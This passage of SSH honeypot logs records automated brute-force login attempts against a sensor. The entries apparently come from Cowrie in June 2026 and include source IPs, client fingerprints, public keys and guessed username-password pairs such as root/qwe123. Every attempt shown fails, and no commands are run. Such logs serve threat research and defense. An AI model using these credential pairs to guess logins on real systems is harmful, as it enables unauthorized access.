a-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:29.409272Z","src_ip":"91.92.42.133","session":"51a104e48bfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123","message":"login attempt [app/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:29.927510Z","src_ip":"91.92.42.133","session":"51a104e48bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:31.246535Z","src_ip":"91.92.42.133","session":"51a104e48bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37848,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cb79a3e9640","protocol":"ssh","message":"New connection: 91.92.42.133:37848 (159.203.135.109:22) [session: 3cb79a3e9640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:37.028071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:37.094197Z","src_ip":"91.92.42.133","session":"3cb79a3e9640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:37.339335Z","src_ip":"91.92.42.133","session":"3cb79a3e9640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:37.855965Z","src_ip":"91.92.42.133","session":"3cb79a3e9640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:39.087578Z","src_ip":"91.92.42.133","session":"3cb79a3e9640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":52681,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb49f003f102","protocol":"ssh","message":"New connection: 112.216.108.62:52681 (159.203.135.109:22) [session: eb49f003f102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:40.370260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:40.374368Z","src_ip":"112.216.108.62","session":"eb49f003f102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:40.569817Z","src_ip":"112.216.108.62","session":"eb49f003f102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud12#$","message":"login attempt [root/Cloud12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:41.386647Z","src_ip":"112.216.108.62","session":"eb49f003f102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:42.590642Z","src_ip":"112.216.108.62","session":"eb49f003f102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38016,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c4a0024fb4c","protocol":"ssh","message":"New connection: 91.92.42.133:38016 (159.203.135.109:22) [session: 9c4a0024fb4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:43.908902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:44.347270Z","src_ip":"91.92.42.133","session":"9c4a0024fb4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:44.350159Z","src_ip":"91.92.42.133","session":"9c4a0024fb4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:46.552119Z","src_ip":"91.92.42.133","session":"9c4a0024fb4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:48.299958Z","src_ip":"91.92.42.133","session":"9c4a0024fb4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59806,"dst_ip":"159.203.135.109","dst_port":22,"session":"a484563523d8","protocol":"ssh","message":"New connection: 91.92.42.133:59806 (159.203.135.109:22) [session: a484563523d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:51.643795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:51.825554Z","src_ip":"91.92.42.133","session":"a484563523d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:51.829027Z","src_ip":"91.92.42.133","session":"a484563523d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:52.961178Z","src_ip":"91.92.42.133","session":"a484563523d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:54.070495Z","src_ip":"91.92.42.133","session":"a484563523d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.250.227.24","src_port":36108,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c002509ec3d","protocol":"ssh","message":"New connection: 192.250.227.24:36108 (10.17.0.5:22) [session: 1c002509ec3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:57.779785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:57.783932Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:57.825056Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:52:08:21:de:bc:c3:7b:f0:25:e7:ed:ce:fa:da:7e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOrihrAa12sfq60xzQ2KWpNzgVCZ7v1sJ52gCMEWR7CQ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 93:52:08:21:de:bc:c3:7b:f0:25:e7:ed:ce:fa:da:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:58.011546Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:52:08:21:de:bc:c3:7b:f0:25:e7:ed:ce:fa:da:7e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOrihrAa12sfq60xzQ2KWpNzgVCZ7v1sJ52gCMEWR7CQ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:58.014941Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:6c:80:84:10:90:1f:04:58:6f:ff:62:99:c5:67:71","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDFfraEGg8+my+6Ua1BrTOYWbIxs5z0sRquyX0wilOHJ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 99:6c:80:84:10:90:1f:04:58:6f:ff:62:99:c5:67:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:58.057747Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:6c:80:84:10:90:1f:04:58:6f:ff:62:99:c5:67:71","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDFfraEGg8+my+6Ua1BrTOYWbIxs5z0sRquyX0wilOHJ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:58.060974Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:cf:04:9f:01:22:d7:43:b4:7d:13:c1:55:ca:92:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7/fObCupPIHJrCpBCbsSjM4wbBDNPHcKJx+/cZf6nXJfn3LTl5fiShM7Fa6F7D0xNnmBKTz4iShLudLzZ74MDJDK+6uCTWruNEtXbrwKDJcsIM4Woz/SK3hwADj/wuE3ISZze414+qmP2C0mNYdSjQ6kIxsMwMLuEdC5zsCus7z9Id7yyTssYzp0yStWl+6gAnMUP2Miq9ia8SiTZnTqijKKswb9LyMqc+83P1GNL9CI/VTIDsSAXa/ZRUI9TSnSdW8uxV0L6UFstGgnxF7CNOibY7w37orTMKUsh62vtETRXfqFCUn4fx3HU4x6WH61cBD65xlyUGPCSOBijMzrV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:cf:04:9f:01:22:d7:43:b4:7d:13:c1:55:ca:92:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:58.104588Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:cf:04:9f:01:22:d7:43:b4:7d:13:c1:55:ca:92:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7/fObCupPIHJrCpBCbsSjM4wbBDNPHcKJx+/cZf6nXJfn3LTl5fiShM7Fa6F7D0xNnmBKTz4iShLudLzZ74MDJDK+6uCTWruNEtXbrwKDJcsIM4Woz/SK3hwADj/wuE3ISZze414+qmP2C0mNYdSjQ6kIxsMwMLuEdC5zsCus7z9Id7yyTssYzp0yStWl+6gAnMUP2Miq9ia8SiTZnTqijKKswb9LyMqc+83P1GNL9CI/VTIDsSAXa/ZRUI9TSnSdW8uxV0L6UFstGgnxF7CNOibY7w37orTMKUsh62vtETRXfqFCUn4fx3HU4x6WH61cBD65xlyUGPCSOBijMzrV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:58.107836Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:3b:f6:88:30:c6:34:91:a8:17:ec:89:c3:29:0f:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW8czJQ4VrTnxWcW19GSTIQxLFHDXC+ivjUB2A00i5K3UqfqwMV2E7iDR0j4h3OcJlQtyfZ2QD/eptsPxGDxyKq0q1Ri0pKMsX7XTfUjDvyIr4/0HozsjKxt6mvxfiguAWO1QBhlz57VECCmvFDJjopeBXMKzwZh/lGp3ROZ36pZVzAYr94Nyq3eFfB3CBrP6OzWQU/FPBs7Vfb9zzV1xfwd8SsaMaoBtUhssH/XfrtJUnQyAROkmfZzekYIAIDEEwRmfCitF6ZCxU5mR0WTYhorDQLCroA9ObG6UxRmOtEeB9uJ/yClHLD+tt1oJmV9Cs4NUD25wW26Y3wu854uMP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:3b:f6:88:30:c6:34:91:a8:17:ec:89:c3:29:0f:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:58.149726Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:3b:f6:88:30:c6:34:91:a8:17:ec:89:c3:29:0f:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW8czJQ4VrTnxWcW19GSTIQxLFHDXC+ivjUB2A00i5K3UqfqwMV2E7iDR0j4h3OcJlQtyfZ2QD/eptsPxGDxyKq0q1Ri0pKMsX7XTfUjDvyIr4/0HozsjKxt6mvxfiguAWO1QBhlz57VECCmvFDJjopeBXMKzwZh/lGp3ROZ36pZVzAYr94Nyq3eFfB3CBrP6OzWQU/FPBs7Vfb9zzV1xfwd8SsaMaoBtUhssH/XfrtJUnQyAROkmfZzekYIAIDEEwRmfCitF6ZCxU5mR0WTYhorDQLCroA9ObG6UxRmOtEeB9uJ/yClHLD+tt1oJmV9Cs4NUD25wW26Y3wu854uMP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:58.152707Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:a2:4c:b3:34:82:5d:94:2f:70:59:09:25:b0:fc:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA521dZQ8DUYmuzupTiIAaXGH5kbnW1zakQp21yN2DAhHD/rJhxfyxG1LxPWEtt+3LTcWruNZzJOBi+LngewSnvsvuh9nu25jIiJAaQp1khC0SDk5FeU9SKV6OsGJlHuRK6DqJJ3nGAYDJkQKznT5h+KuMrihPIpIpZdu+8W1JIgTO1YxkB3G3ia46pMjcNJDJM4LNMOx77c5ro6IxGxE28CPA3JkrGvSogViJe8wkQ66D6CCoyMqe/5rw83dcQx0rKKIWnP/d+B4tHZ4VkqQBe5z+hSwKCo4RUaUyLgW56oZBwOEbAbR8tOd8mBhQHZehJUak+/sHW/L28vvovqUcaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:a2:4c:b3:34:82:5d:94:2f:70:59:09:25:b0:fc:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:58.195779Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:a2:4c:b3:34:82:5d:94:2f:70:59:09:25:b0:fc:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA521dZQ8DUYmuzupTiIAaXGH5kbnW1zakQp21yN2DAhHD/rJhxfyxG1LxPWEtt+3LTcWruNZzJOBi+LngewSnvsvuh9nu25jIiJAaQp1khC0SDk5FeU9SKV6OsGJlHuRK6DqJJ3nGAYDJkQKznT5h+KuMrihPIpIpZdu+8W1JIgTO1YxkB3G3ia46pMjcNJDJM4LNMOx77c5ro6IxGxE28CPA3JkrGvSogViJe8wkQ66D6CCoyMqe/5rw83dcQx0rKKIWnP/d+B4tHZ4VkqQBe5z+hSwKCo4RUaUyLgW56oZBwOEbAbR8tOd8mBhQHZehJUak+/sHW/L28vvovqUcaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:58.198817Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:58.242001Z","src_ip":"192.250.227.24","session":"1c002509ec3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38928,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3dcb07ab6f9","protocol":"ssh","message":"New connection: 91.92.42.133:38928 (159.203.135.109:22) [session: a3dcb07ab6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:59.640349Z"}
